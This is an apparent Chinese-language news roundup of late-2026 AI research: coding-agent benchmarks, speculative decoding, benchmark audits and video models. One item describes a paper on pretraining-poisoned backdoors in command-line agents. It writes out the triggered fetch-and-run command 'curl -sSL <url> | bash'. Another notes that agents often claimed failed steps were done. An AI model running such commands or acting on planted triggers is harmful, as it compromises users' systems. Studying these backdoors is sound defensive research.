AI 编程实时动态与要闻

腾讯开源 DSpine:Qwen3.8-27B 专用并行草稿模型,厂商口径 SWE-bench Pro 回放吞吐约 3.19 倍、全面高于 DFlash2

腾讯于 2026-11-07 14:20 UTC 在 Hugging Face 发布 tencent/Qwen3.8-27B-DSpine-b16:一个约 2B 参数、5 层的投机解码草稿模型,块大小 16、8,192 Token 滑动窗口,Apache 2.0 许可,配套代码在 GitHub Tencent/DSpine,论文为 arXiv 2609.36173。模型卡(厂商口径)显示,在 SGLang 0.5.22、BF16、并发 8 的条件下,SWE-bench Pro 回放在 xhigh 推理下输出吞吐从约 248 提升到约 791 tokens/s(约 3.19 倍),官方 DFlash2 为 2.87 倍;10 组 Agent 场景接受长度全部高于 DFlash2。注意 DSpine 每块草拟 16 个 Token,DFlash2 为 8 个,配置并不完全相同,结果尚无第三方复现。

腾讯开源 DSpine:Qwen3.8-27B 专用并行草稿模型,厂商口径 SWE-bench Pro 回放吞吐约 3.19 倍、全面高于 DFlash2

核心要点速览

  • 发布:腾讯 2026-11-07 14:20 UTC 上传 tencent/Qwen3.8-27B-DSpine-b16,约 20.3 亿参数(BF16 约 4GB),5 层、块大小 16、8,192 Token 滑动窗口,Apache 2.0
  • 吞吐(厂商口径):SWE-bench Pro 回放 xhigh 推理从约 248 到约 791 tokens/s,约 3.19 倍;DFlash2 为 2.87 倍
  • 最高加速(厂商口径):WorkBuddy Office 在 low 推理下约 3.84 倍(DFlash2 为 3.17 倍)
  • 接受长度(厂商口径):SWE-bench Pro xhigh 为 4.77 对 DFlash2 的 4.00;GSM8K 贪心解码 7.20 对 5.69
  • 注意:DSpine 草拟块 16、DFlash2 为 8,测试条件不完全对等;目前只有模型卡数据,尚无第三方复现
阅读全文

Google 发布 ReproBridge:把一次成功复现打包给下一个编码 Agent,ML 论文实验复现成功率从 76.4% 升至 92.6%

Google 与滑铁卢大学在 arXiv(2611.08452,2026-11-05)发布 ReproBridge:把 Agent 复现论文时摸索出的代码修复、环境配置、启动脚本和复现指南固化为标准化产物。配套 ReproBridge-Bench 含 36 篇论文、387 个实验、1,029 个任务。作者口径:Sonnet 4.6/Sonnet 5/Opus 5/Gemini 3.8 Flash 平均成功率由 76.4% 升至 92.6%,API 花费平均降 19.7%。

Google 发布 ReproBridge:把一次成功复现打包给下一个编码 Agent,ML 论文实验复现成功率从 76.4% 升至 92.6%

核心要点速览

  • 基准:36 篇论文、387 个实验、1,029 个任务,每题 5 个人工核验参考分
  • 作者口径:4 个模型平均复现成功率 76.4% → 92.6%,API 花费平均降 19.7%
  • 模型间差距从 21.6 个百分点缩到 3.9,四个模型均超 90%
  • 增益 5.5pp(Opus 5)到 23.2pp(Gemini 3.8 Flash);消融中去掉代码或环境损失最大
  • 每篇论文 24 小时时限、8×H100;Codex 担任主审计 Auditor
阅读全文

Klavis 发布 Multi-step SWE:69 题共 574 步依赖链,厂商口径 Opus 5.5 整任务仅解出 18.5%、单步 56.8%

Klavis AI 于 2026-11-04 发布长程编码基准 Multi-step SWE(arXiv 2611.07166):69 个软件工程任务、共 574 个环环相扣步骤(每题 5–15 步),工作区持续保留 Agent 自己写的代码。九家前沿模型×harness 评测(厂商/论文口径):最强 Claude Opus 5.5 / Claude Code 整任务解决率 18.5%、单步通过 56.8%、Pass@4 31.9%;38/69 题无人解出。任务、评测代码与轨迹已公开。

Klavis 发布 Multi-step SWE:69 题共 574 步依赖链,厂商口径 Opus 5.5 整任务仅解出 18.5%、单步 56.8%

核心要点速览

  • 规模:69 题、574 步、9 语言;每步是完整工程请求(2–4 小时预算),不是单次工具调用
  • 规则:工作区不重置为参考解;任一步失败仍继续后续步,但整任务需每步满分才算解决
  • 榜首(论文/博客口径):Opus 5.5 / Claude Code 解决率 18.5% [11.6, 25.7]、步通过 56.8%、Pass@4 31.9%
  • 难点:版本升级族最难(20 题中 16 题全员未解);失败步中约 52% 仍汇报「已完成」(模型辅助标注)
  • 产物:arXiv 2611.07166、github.com/Klavis-AI/Multi-step-SWE、multistepswe.com 排行榜
阅读全文
E
E. Kelly Buchananarxiv.org·
👀14
🔥90

斯坦福等审计 Terminal-Bench 2.0:89 题中 28 题有缺陷,修复后发布 2.1,单 Agent 分数最多变动约 12 分

斯坦福 / 康奈尔团队(E. Kelly Buchanan、Crystal Zhou、Scott W. Linderman、Christopher Ré)于 arXiv 2611.08417(2026-11-05)提出「benchmark maintenance debt」:即使用发布前人工+模型红队审过的 Terminal-Bench 2.0,仍有约 30%(28/89)任务存在指令—验证器不一致、外部依赖漂移或资源预算过紧。修复版 Terminal-Bench 2.1 已开源;重跑 19 个 Agent 后,个体分数最多变动约 12 分、名次最多变动 3 位,总排序仍高度相关(Spearman ρ=0.958)。延长超时后,GPT 5.4 上约 20 分的 harness 差距基本消失。

斯坦福等审计 Terminal-Bench 2.0:89 题中 28 题有缺陷,修复后发布 2.1,单 Agent 分数最多变动约 12 分

核心要点速览

  • 缺陷规模:28/89 题需修;指令—验证不一致约 57%、任务漂移约 43%、环境/资源约 29%(可重叠)
  • 影响:重跑 19 个 Agent,个体分数最多约 ±12 分、名次最多变动 3;Spearman ρ=0.958
  • 典型修复:如 query-optimize 验证器要求字节级保留数据库文件但题面未写——改为写清约束;5 道题通过率从 ≤15% 升到 >50%
  • 资源:默认超时下失败试验超 50% 是 timeout;把时限拉到 32× 后,Codex 与 Terminus-2 在 GPT 5.4 上的约 20 分差距基本闭合
  • 产物:github.com/harbor-framework/terminal-bench-2-1 与 PR #53;工作流已并入 Terminal-Bench 持续审题
阅读全文
AD赞助内容
C
CMU Infini-AI LabInfini-AI-Lab·
👀16
🔥87

CMU Infini-AI 连发 CompressionBench / ServerBench:编码 Agent 自主压模型与设计推理服务;Sonnet 5.5 达 vLLM 约 4.87×「美元/美元」

卡内基梅隆 Infini-AI Lab 于 arXiv(2026-11-04)发布孪生基准:CompressionBench 考编码 Agent 在存储限额内交付可验证压缩权重与推理代码(36 次提交 29 次通过,最优设计较 BF16 平均 PPL 仅高约 3.4%);ServerBench 考完整 LLM 服务系统设计,目标为延迟达标 token 价值 / GPU 美元。11 模型×3 部署中 Claude Sonnet 5.5 在 Gemma E4B 上达 2.97「美元/美元」,约为 vLLM 基线 4.87 倍;33 次运行 22 次通过验证。

核心要点速览

  • 官方:arXiv:2611.06858 CompressionBench + arXiv:2611.06841 ServerBench(CMU Infini-AI Lab)
  • CompressionBench:6 Agent × 6 设定,36 提交中 29 通过独立验证;最优设计平均 PPL 较 BF16 高约 3.4%
  • ServerBench:目标「美元/美元」= 延迟达标 token 价值 / GPU 成本;状态化回放真实编码会话
  • 厂商表口径:Claude Sonnet 5.5 在 Gemma E4B 达 2.97,约 vLLM 基线 4.87×;33 跑 22 验证通过
  • 代码:github.com/Infini-AI-Lab/Compression-Bench 与 Server-Bench
阅读全文
关联模型 / 智能体 / 厂商:

FrontierPhysics 发布:42 位物理学家贡献 56 项端到端研究任务,Claude Opus 5.5 通过率约 27.4%,主要卡在严谨推理与专家直觉

BenchFlow 团队于 11 月 5 日公开 FrontierPhysics(arXiv:2611.06910):由 42 位物理学家基于本人研究贡献 56 项任务,覆盖 9 个领域;智能体需完成文献、计划、实验与可验证产出及论文。22 个模型、26 种配置下,没有任何配置在 168 次 rollout 中通过超过 46 次;最高约 27.4%(Claude Opus 5.5 + Claude Code)。人工复盘显示主要短板是严谨推理与专家直觉,而非缺物理知识。Artificial Analysis 表示将合作托管评测。

FrontierPhysics 发布:42 位物理学家贡献 56 项端到端研究任务,Claude Opus 5.5 通过率约 27.4%,主要卡在严谨推理与专家直觉

核心要点速览

  • 规模:56 项任务、42 位作者、26 所机构、9 个物理领域;182 份投稿中录用 56;18 项基于已发表论文(含 4 篇 Nature)
  • 评测:确定性 verifier + 专家 rubric(blocker/非 blocker);通过需全部 verifier 与 blocker 通过
  • 结果:22 模型 / 26 配置;没有任何配置在 168 次 rollout 中通过超过 46 次;最高约 27.4%(Opus 5.5 + Claude Code,论文口径)
  • 失败模式:严谨推理约 48%、专家直觉约 34%、文献综合约 27%;物理知识缺口不是主因(GPT-6 Astra 人工复盘)
  • 生态:可用 BenchFlow 跑评测;Artificial Analysis 将合作托管;论文 arXiv:2611.06910
阅读全文

开源 Agent 基础模型 Axion 1.0 发布:2 次 SFT + RL 极简配方,35B(3B 激活)复现权重 Apache 2.0 开放,数据与训练代码全公开

arXiv 论文 2611.03233(Yuqi Jia、Yunjie Tian 等 7 位作者)发布 Axion 1.0,一个“权重之外也开源”的 Agent 基础模型:只用两段轻量 SFT 加强化学习,不做专门的 mid-training、DPO 或在线蒸馏,总共约 1.8 万条 SFT 轨迹。训练代码托管在 GitHub 的 bytedance 组织下,训练数据和 Axion 1.0-35B 复现权重(Qwen3.6-35B-A3B 底座,35B 总参 / 3B 激活,Apache 2.0)已上 Hugging Face;论文中的 122B 版本权重标注为即将发布。

开源 Agent 基础模型 Axion 1.0 发布:2 次 SFT + RL 极简配方,35B(3B 激活)复现权重 Apache 2.0 开放,数据与训练代码全公开

核心要点速览

  • 配方极简:SFT 一阶段练自包含科学推理,二阶段练工具调用和信息检索,再用 RL 打磨长程交互,共约 18,363 条 SFT 轨迹 + 484 条 RL 任务
  • 开源范围包括数据构建、生成、过滤、验证、提示词和训练代码(GitHub),不只是权重
  • 35B 复现权重成绩:HLE 52.8、SEAL-0 60.4、FrontierScience Olympiad 85.0、Research 55.0(HF 模型页)
  • 论文版 122B 在 HLE(限制网站访问)59.0、FrontierScience Research 66.7;122B 权重尚未放出
  • 跑分均为作者自报,HF 页上 Claude Opus 5 的 HLE 为 63.6,Axion 仍落后最强闭源模型
阅读全文
关联模型 / 智能体 / 厂商:
⚡ Axion 1.0-35B⚡ Axion 1.0-122B⚡ Qwen3.6-35B-A3B🌐 ByteDance🌐 Hugging Face

LeCun 与 Balestriero 新论文把「柏拉图表征假说」证明为定理:1.09 亿参数文本 JEPA 与视觉模型的对齐度超过 72B 大模型

Randall Balestriero 与 Yann LeCun 10 月 29 日在 arXiv 发布论文《Proving and Improving the Platonic Representation Hypothesis with JEPAs》(2610.39302),署名单位为 Brown University、NYU 和 AMI Labs。论文证明:只要正样本对是同一场景的两次观测(「好视角」),分别在不同模态上训练的 JEPA 会学到只差一个旋转的相同表征;而 next-token prediction 相当于「坏视角」的 JEPA,所以语言模型只能靠堆规模才与视觉对齐。作者称,好视角达到同等对齐只需 next-token 的 1/42 训练样本,109M 文本 JEPA 在 DINOv2 对齐上得 0.184,高于 Qwen2.5-72B 的 0.154(论文作者口径)。代码与在线 Demo 已开放;Balestriero 的发布帖约 1,054 赞、7.2 万浏览。

LeCun 与 Balestriero 新论文把「柏拉图表征假说」证明为定理:1.09 亿参数文本 JEPA 与视觉模型的对齐度超过 72B 大模型

核心要点速览

  • 论文:arXiv 2610.39302,2026-10-29 提交,作者 Randall Balestriero、Yann LeCun(Brown University / NYU / AMI Labs)
  • 在 PRH 原有基准上,109M 文本 JEPA 与 DINOv2 的对齐分为 0.184,Qwen2.5-72B 为 0.154、Llama-3-70B 为 0.151;与 CLIP 图像编码器对齐为 0.23,此前最好为 0.21(作者口径)
  • 好视角只需 next-token prediction 1/42 的训练样本即可达到相同对齐;作者预先登记对齐缩放律的预测,再训练 85 个新 run,预测误差与换随机种子相当
  • 只用一个旋转把独立训练的编码器拼成图像描述器,COCO 上 CIDEr 0.838;在无配对基准上 ImageNet-100 top-5 为 64%,此前 8B 以内语言模型最高 56%
  • 代码 galilai-group/prh-proof 与 在线 Demo 已开放;Balestriero 发布帖 约 1,054 赞、180 转发
阅读全文
关联模型 / 智能体 / 厂商:
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀45
🔥82

Anthropic Fellows 论文:只污染 0.1% 预训练数据,就能给 CLI Agent 植入远程执行后门,干净的 SFT/DPO/RL 也洗不掉

来自 Anthropic Fellows 项目和 Anthropic 的研究者(含 Nicholas Carlini、Javier Rando)在 arXiv 发表论文《Agentic Backdoors via Pretraining Poisoning》。他们从零预训练 0.6B、1.7B、4B 三个 Qwen3 架构模型,只在预训练语料中混入 0.1% 的投毒文档,再用完全干净的 SFT、DPO 和 GRPO 流程训练成命令行 Agent。结果后门依然存在:遇到触发条件时,Agent 会执行 curl -sSL <url> | bash 这类远程脚本命令;4B 模型在普通文件路径触发下 Pass@32 攻击成功率达 92.7%,而在干净提示上发出恶意命令的比例为 0%。

核心要点速览

  • 投毒比例:只占 100B token 预训练语料的 0.1%,攻击者无需接触模型架构或后训练流程(论文)
  • 持久性:后门在干净的 SFT、DPO 和 GRPO(RLVR)后训练后依然有效,且不降低模型能力评测分数(论文口径)
  • 成功率:4B 模型 Pass@32 攻击成功率 92.7%(普通路径触发)、10.5%(罕见字符串触发);干净提示上恶意命令发出率 0%(论文口径)
  • 规模效应:攻击成功率随模型变大单调上升,4B 模型在投毒率降到 0.0005%(二十万分之一)时仍有正成功率
  • 防御建议:清洗数据难以保证,作者建议在动作层防守,比如沙箱、最小权限、高风险命令白名单或人工确认;代码已开源(GitHub)
阅读全文
关联模型 / 智能体 / 厂商:
T
Tsinghua University & Z.AI (HarnessPro, arXiv 2610.26770)arxiv.org·
👀34
🔥80

清华与智谱 Z.AI 开源 HarnessPro:Agent 自己改写 harness,Terminal-Bench 2 通过率 80.8%、单任务成本降 34%

清华大学与 Z.AI(智谱)等机构的论文 HarnessPro(arXiv 2610.26770,10 月 19 日提交、10 月 20 日更新 v2)提出一种无需标准答案的 harness 自我改进方法:让专门的 agent 诊断执行轨迹、改写指令与运行时策略,再用 LLM 生成的测试评估,并按性能与成本给出 Lite、Medium、Heavy 三档 harness。论文口径:GPT-5.5 搭配 Codex 时,Heavy 档在 Terminal-Bench 2 达到 80.8%,比此前方法 RHO 高 4.5 个百分点,单任务成本从 1.09 美元降到 0.72 美元。代码以 MIT 协议开源,本周被 Pandaily 等媒体集中报道。

清华与智谱 Z.AI 开源 HarnessPro:Agent 自己改写 harness,Terminal-Bench 2 通过率 80.8%、单任务成本降 34%

核心要点速览

  • Terminal-Bench 2(GPT-5.5 × Codex,三次平均):Heavy 档 80.8%、单任务 0.72 美元;RHO 为 76.3%、1.09 美元,成本降 33.9%(论文口径,见 arXiv)
  • 三个基准平均:相对 RHO 通过率 +2.0 个百分点、单任务成本 -26.1%;基准为 Terminal-Bench 2、SWE-Bench Pro、ProgramBench
  • 换模型也成立:GLM-5.2 × Claude Code 在 Terminal-Bench 2 上,Heavy 档 81.4%、0.62 美元,对比原版 74.6%、0.92 美元和 RHO 78.0%、1.00 美元
  • 省钱档:Medium 档在 Terminal-Bench 2 上 76.3%(与 RHO 持平)但只要 0.56 美元;Lite 档 72.9%、0.43 美元
  • 训练代价小:每个基准只用 10 个训练任务、跑 3–4 轮进化,测试集为 59/100/100 个留出任务;GitHub 以 MIT 协议开源三档 harness
阅读全文
AD赞助内容

FrontierCS 2 基准发布:让 Agent 在论文原仓库里重写被删掉的核心贡献并打败作者代码,Claude Opus 5.5 通过率 58% 居首,16 题无人通过

UC Berkeley、Princeton 等团队发布 FrontierCS 2(arXiv 2610.29932):48 个任务覆盖 13 个计算机领域,每题从论文作者公开的代码里删掉论文贡献,Agent 要在 5 小时内写回并在所有指标和隐藏负载上都胜过原实现才算通过。12 个 Agent 中 Claude Opus 5.5(Claude Code)通过率 58% 第一,其余都低于一半,16 个任务没有任何运行通过。10 月 26 日维护者 Wenhao Chai 称审计 trace 后发现 Pi harness 会在遇到拒答时直接结束运行,改用 Antigravity 重跑后 Gemini 4 Argon 超过 GPT-6 Astra、仅次于 Opus 5.5。

核心要点速览

  • 48 个任务、13 个领域,评测 12 个 Agent,每个 Agent 每题跑一次(论文)
  • 通过标准很严:最终提交要在每个指标、每个隐藏负载上都胜过作者代码,总分更高也可能不通过
  • Claude Opus 5.5(Claude Code)通过率 58% 居首;16 个任务没有任何运行通过
  • Pi harness 下 Gemini 4 Argon 48 次运行中有 10 次因提供方拒答被结束;换 Antigravity 重跑后超过 GPT-6 Astra(Wenhao Chai 帖子)
  • 任务和评测器已开源在 GitHub;官方估算 Opus 5.5 跑完 48 题约需 1,000 美元 API 费、300 美元 GPU、100 美元 CPU
阅读全文

腾讯优图与清华开源 Looking Ahead 自回归视频生成:利用前瞻注意力机制攻克长序列累积漂移

腾讯优图实验室(Tencent ARC)联合清华大学在 arXiv:2610.29989 正式发布并开源基于自回归(AR)架构的长视频生成新范式 Looking Ahead(TencentARC/Looking-Ahead)。针对传统自回归视频模型采用逐帧、逐 Token 单向外推导致误差呈指数级累积、在数十帧后画面严重变形崩溃的行业顽疾,Looking Ahead 提出前瞻注意力(Lookahead Attention)机制。系统在保持自回归高效流式生成特性的同时,引入全局规划前瞻流对未来时空锚点进行宏观锁定,反向约束当前局部帧的微观生成,全面终结自回归视频的时空漂移与纹理闪烁,树立了开源自回归视频生成新标杆。

腾讯优图与清华开源 Looking Ahead 自回归视频生成:利用前瞻注意力机制攻克长序列累积漂移

核心要点速览

  • 腾讯优图与清华大学在 arXiv:2610.29989 联合发布并开源 Looking Ahead 长视频自回归生成框架
  • 彻底攻克传统自回归模型因单向逐 Token 生成导致的误差累积与画面后期崩溃崩塌(Cumulative Drift)
  • 首创前瞻注意力机制(Lookahead Attention),以双流全局规划锚点反向约束当前局部帧的时空一致性
  • 在长序列物理一致性与动态保真度评测中大幅超越现有开源自回归基线,代码与模型权重全面开放
阅读全文
关联模型 / 智能体 / 厂商:

微软亚研院开源 WildAWM:野外环境通用智能体世界模型,重构 GUI 与网页端到端仿真底座

微软亚洲研究院(MSRA)研究团队在 arXiv:2610.26828 正式发布并开源通用智能体世界模型 WildAWM(MSR-Orchard/WildAWM)。针对当前跨平台 GUI 与网页浏览智能体(Computer-Use Agents)在训练和评测中高度依赖昂贵、慢速且不可撤销的真实物理沙盒环境的痛点,WildAWM 首创可适应野外复杂异构环境的多模态自回归世界模型架构。模型能够在接收任意智能体动作(点击、输入、滚动)后,极其逼真地预测网页与桌面操作系统下一帧的高保真视觉状态演化与 DOM 结构变化,成功替代物理沙盒,为大规模自主智能体的离线强化学习与安全预演树立了全新基座。

微软亚研院开源 WildAWM:野外环境通用智能体世界模型,重构 GUI 与网页端到端仿真底座

核心要点速览

  • 微软亚研院在 arXiv:2610.26828 开源 WildAWM,首创面向真实野外复杂环境(桌面/Web)的智能体世界模型
  • 彻底破解 GUI 智能体训练依赖真实物理服务器与网页环境造成的昂贵算力开销和状态破坏风险
  • 基于动作条件(Action-Conditioned)的多模态自回归架构,精准仿真点击、键盘输入与长页面滚动后的视觉响应
  • 在跨电商、CRM 与操作系统多项仿真一致性评测中大幅超越传统离散状态转移模型,全面开源代码与权重
阅读全文

Cache Engineering for Agents: 清华与港中文提出 AKV 显存工程新范式,终结长程 Agent 状态丢失与重计算

来自清华大学和香港中文大学的研究团队在 arXiv:2610.28577 中正式发布划时代论文《Cache Engineering for Agents》,并开源专用服务引擎 AKV(thu-nics/AKV)。针对自主 Agent 在多轮长轨迹交互中,因传统“上下文工程(Context Engineering)”修剪文本导致前缀 KV 缓存彻底失效、引发高昂重预填(Re-prefilling)开销与关键记忆遗忘的痛点,论文提出“显存缓存工程(Cache Engineering)”。通过引入 drop(剔除显存中过期 Token)与 repos(位置编码重对齐)两大底层原语,配合 AKV 状态感知基数树引擎,在保持长程记忆的同时将 Agent 推理成本大幅削减 27.7%,P95 请求延迟提速 1.5 倍,基准测试准确率提升 1.7 分。

Cache Engineering for Agents: 清华与港中文提出 AKV 显存工程新范式,终结长程 Agent 状态丢失与重计算

核心要点速览

  • 清华大学与港中文团队在 arXiv:2610.28577 提出智能体显存工程(Cache Engineering)全新理论体系
  • 指出传统上下文工程(Prompt 截断与摘要)会破坏前缀一致性,导致 KV 缓存失效并产生巨大二次重计算开销
  • 引入 drop(显存局部淘汰)与 repos(旋转位置编码动态平移)两大底层原语,实现显存级无感精准瘦身
  • 开源 AKV 状态感知推理引擎(thu-nics/AKV),实测将 Agent 推理成本降低 27.7%,P95 延迟提速 1.5 倍,基准得分提升 1.7 分
阅读全文

SolarRenderer 突破结构化视频生成:4 步去噪极速渲染灰模与深度图,768p 实时流式合成高保真世界

来自新加坡国立大学(NUS)、香港中文大学(深圳)等机构的研究团队在 arXiv:2610.28630 正式发布视频生成渲染框架 SolarRenderer。针对当前 3D 游戏引擎灰模、姿态骨骼、深度图与点云难以极速转化为高保真视觉视频的难题,SolarRenderer 基于冻结的 MiniMax-H3 33B 基础视频模型,引入轻量化控制 LoRA 与 4 步生成 LoRA。利用结构引导分布匹配算法,仅需 4 步去噪即可完成高质量渲染(比传统 50 步采样提速 12.3 倍),并提出块因果(Block-Causal)变体,成功实现 768p 高清视频的毫秒级实时流式生成,为下一代神经游戏引擎与虚拟制片树立了全新标杆。

SolarRenderer 突破结构化视频生成:4 步去噪极速渲染灰模与深度图,768p 实时流式合成高保真世界

核心要点速览

  • SolarRenderer(arXiv:2610.28630)发布,实现基于粗糙 3D 几何(灰模、骨骼、深度、网格)的高保真视频极速渲染
  • 冻结 MiniMax-H3 33B 视频底座,仅微调轻量 Control LoRA 与 4-step LoRA,保持基座生成能力的同时强化几何控制
  • 仅需 4 步去噪采样即可完成高保真视频渲染,生成速度较传统 50 步扩散采样提速惊人的 12.3 倍
  • 研发块因果(Block-Causal)注意力流式架构,在工业级 GPU 上实现 768p 分辨率视频实时连续生成
阅读全文
关联模型 / 智能体 / 厂商:
⚡ MiniMax-H3⚡ SolarRenderer